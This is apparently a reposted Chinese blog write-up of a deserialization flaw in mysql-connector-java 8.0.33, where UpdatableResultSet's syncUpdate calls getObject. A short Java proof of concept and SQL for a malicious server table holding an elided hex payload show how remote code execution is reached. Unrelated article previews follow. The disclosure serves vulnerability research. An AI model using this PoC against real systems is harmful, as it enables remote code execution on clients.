mysql-connector-java 8.0.33 反序列化漏洞

前言

经过与oracle官方沟通,在最新的mysql-connector-j 9.0.0里不存在这个问题,所以他们不认为这是个漏洞
不过确实,mysql-connector-java这个分支已经迁移到mysql-connector-j了,当时没注意,交的时候只注意了mysql-connector-java 8.0.33确实是latest version

描述

在mysql jdbc反序列化漏洞出来之后,patch了ServerStatusDiffInterceptor的逻辑,让他没有调用getObject
但是我发现,在UpdatableResultSet的syncUpdate方法还是会调用到getObject

请添加图片描述

当时就搜了一下updateResultset的demo,然后跑了一下,发现都能直接调用到syncUpdate,然后就通了

poc

String url="jdbc:mysql://ip:port/test?autoDeserialize=true";
String username="root";
String password="test ";
DriverManager.getConnection(url,username,password); 
Statement stmt =
connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery("SELECT id,object FROM objects"); while (rs.next()) {

rs.updateInt("object",1);
 }
rs.close(); stmt.close(); connection.close();

他这里的问题就是 不管你实际调用的updateInt还是updateString,他都会进入syncUpdate 然后getObject这个column,只要这个column我们填写恶意的反序列化数据,就可以反序列化
然后我们需要一个恶意的mysql服务器

CREATE TABLE `objects_table` ( `id` INT AUTO_INCREMENT,
`object` BLOB, PRIMARY KEY (`id`))
INSERT INTO `objects_table`(`object`) VALUES (UNHEX('ace.........16178'));

插入hex编码的反序列化payload,运行就可以rce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/800486.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C#知识|账号管理系统:添加账号的功能笔记

哈喽,你好啊,我是雷工! 本节记录账号管理系统中添加账号的逻辑过程,以下为学习笔记。 01 实现内容 ①:实现当点击【保存到数据库】按钮时,将账号名称、原创篇数、账号简介、账号类型显示的内容存储到LGAccountManagerDB数据库的Account表中; ②:实现点击【保存到数据库…

从LeetCode215看排序算法

目录 LeetCode215 数组的第K个最大元素 ① 第一反应:java的内置排序Arrays.sort() ② 冒泡排序 ③归并排序(先分解再合并) ④快速排序(边分解边排序) ⑤堆排序 LeetCode215 数组的第K个最大元素 给定整数数组 nums…

LLM(大语言模型)解码时是怎么生成文本的?

Part1配置及参数 transformers4.28.1 源码地址:transformers/configuration_utils.py at v4.28.1 huggingface/transformers (github.com) 文档地址:Generation (huggingface.co) 对于生成任务而言:text-decoder, text-to-text, speech-…

详解MySQL中的递归查询

MySQL中的递归查询主要通过WITH RECURSIVE语句来实现,这在处理具有层级关系或树形结构的数据时非常有用。下面将通过一个具体的例子来详细解释如何在MySQL中使用递归查询。 示例场景 假设我们有一个部门表(departments),其中包含…

Zynq系列FPGA实现SDI编解码转SFP光口传输(光端机),基于GTX高速接口,提供6套工程源码和技术支持

目录 1、前言工程概述免责声明 2、相关方案推荐本博已有的 SDI 编解码方案本方案在Xilinx-Kintex7上的应用 3、详细设计方案设计原理框图输入Sensor之-->OV5640摄像头输入Sensor之-->HDMIVDMA图像缓存RGB转BT1120GTX 解串与串化SMPTE SD/HD/3G SDI IP核BT1120转RGBHDMI输…

Rust 通过 Deref trait 将智能指针当作常规引用处理

通过 Deref trait 将智能指针当作常规引用处理 实现 Deref trait 允许我们重载 解引用运算符(dereference operator)*(与乘法运算符或通配符相区别)。通过这种方式实现 Deref trait 的智能指针可以被当作常规引用来对待&#xff…

基于IDEA的Lombok插件安装及简单使用

lombok介绍 Lombok能以注解形式来简化java代码,提高开发效率。开发中经常需要写的javabean,都需要花时间去添加相应的getter/setter,也许还要去写构造器、equals等方法,而且需要维护。而Lombok能通过注解的方式,在编译…

Qt中文个数奇数时出现问号解决

Qt中文个数奇数时出现问号解决 目录 Qt中文个数奇数时出现问号解决问题背景问题场景解决方案 问题背景 最近在开发一个小工具,涉及到一些中文注释自动打印,于是摸索如何把代码里面的中文输出到csv文件中,出现了乱码,按照网上的攻…

供应链管理(SCM):如何在颜值和体验上发力

要在供应链管理系统(SCM)中在颜值和体验上发力,让用户感觉耳目一新,可以采取以下措施: 界面设计优化: 对供应链管理系统的界面进行优化,注重界面的美观、简洁和易用性。采用现代化的设计风格、…

Python酷库之旅-第三方库Pandas(026)

目录 一、用法精讲 65、pandas.bdate_range函数 65-1、语法 65-2、参数 65-3、功能 65-4、返回值 65-5、说明 65-6、用法 65-6-1、数据准备 65-6-2、代码示例 65-6-3、结果输出 66、pandas.period_range函数 66-1、语法 66-2、参数 66-3、功能 66-4、返回值 6…

Gooxi受邀参加第三届中国数据中心服务器与设备峰会

7月2-3日,第三届中国数据中心服务器与设备峰会在上海召开,作为国内最聚焦在服务器领域的专业峰会,吸引了来自全国的行业专家、服务器与机房设备厂家,企业IT用户,数据中心业主共同探讨AIGC时代下智算中心设备的设计之道…

【Linux】03.权限

一、权限的概念 Linux下有两种用户:超级用户(root)、普通用户。 超级用户:可以在 linux 系统下做任何事情,不受限制普通用户:在linux下做有限的事情超级用户的命令提示符是“#”,普通用户的命…

Linux驱动开发-04LED灯驱动实验(直接操作寄存器)

一、Linux 下LED 灯驱动原理 Linux 下的任何外设驱动,最终都是要配置相应的硬件寄存器。驱动访问底层的硬件除了使用内存映射将物理地址空间转化为虚拟地址空间,去进行读写修改,还可以通过各种子系统函数去进行操作 1.1 地址映射 MMU 全称…

JavaWeb后端学习

Web:全球局域网,万维网,能通过浏览器访问的网站 Maven Apache旗下的一个开源项目,是一款用于管理和构建Java项目的工具 作用: 依赖管理:方便快捷的管理项目以来的资源(jar包)&am…

vue2学习笔记5 - 表单类元素的单向数据绑定和双向数据绑定

前言 上一节我们学到,可以通过v-bind:指令,将标签体属性值通过js表达式绑定到vue实例中的某data上,读取该data数据,并通过vue模板中指定的页面元素,展示在页面上。 但是,我们在使用网页表单的时候&#x…

Ctrl+C、Ctrl+V、Ctrl+X 和 Ctrl+Z 的起源

注:机翻,未校对。 The Origins of CtrlC, CtrlV, CtrlX, and CtrlZ Explained We use them dozens of times a day: The CtrlZ, CtrlX, CtrlC, and CtrlV shortcuts that trigger Undo, Cut, Copy, and Paste. But where did they come from, and why do…

文件安全传输系统,如何保障信创环境下数据的安全传输?

文件安全传输系统是一套旨在保护数据在传输过程中的安全性和完整性的技术或解决方案。通常包括以下几个关键组件: 加密:使用强加密算法来确保文件在传输过程中不被未授权访问。 身份验证:确保只有授权用户才能访问或传输文件。 完整性校验…

怎样优化 PostgreSQL 中对复杂的排序规则和排序方向的查询?

🍅关注博主🎗️ 带你畅游技术世界,不错过每一次成长机会!📚领书:PostgreSQL 入门到精通.pdf 文章目录 怎样优化 PostgreSQL 中对复杂的排序规则和排序方向的查询一、理解复杂排序规则和排序方向二、优化索引…

css - - - - - 去除图片默认的白色背景(混合模式 mix-blend-mode)

去除图片默认的白色背景&#xff08;mix-blend-mode&#xff09; 1. 需求描述2. 原图展示3. 原代码展示4. 使用混合模式(mix-blend-mode)5.修改后效果 1. 需求描述 图片含有白色地图&#xff0c;想要将其去掉 2. 原图展示 3. 原代码展示 <div><img src*****/> &…

负载箱如何帮助维持电气系统的最佳性能

负载箱在维持电气系统最佳性能方面发挥着至关重要的作用&#xff0c;以下是负载箱如何帮助维持电气系统最佳性能的详细分析&#xff1a; 一、保护电气设备 负载箱能够在电气系统中产生恒定的负载&#xff0c;使电气设备在正常工作状态下运行。这避免了因负载波动过大而导致的…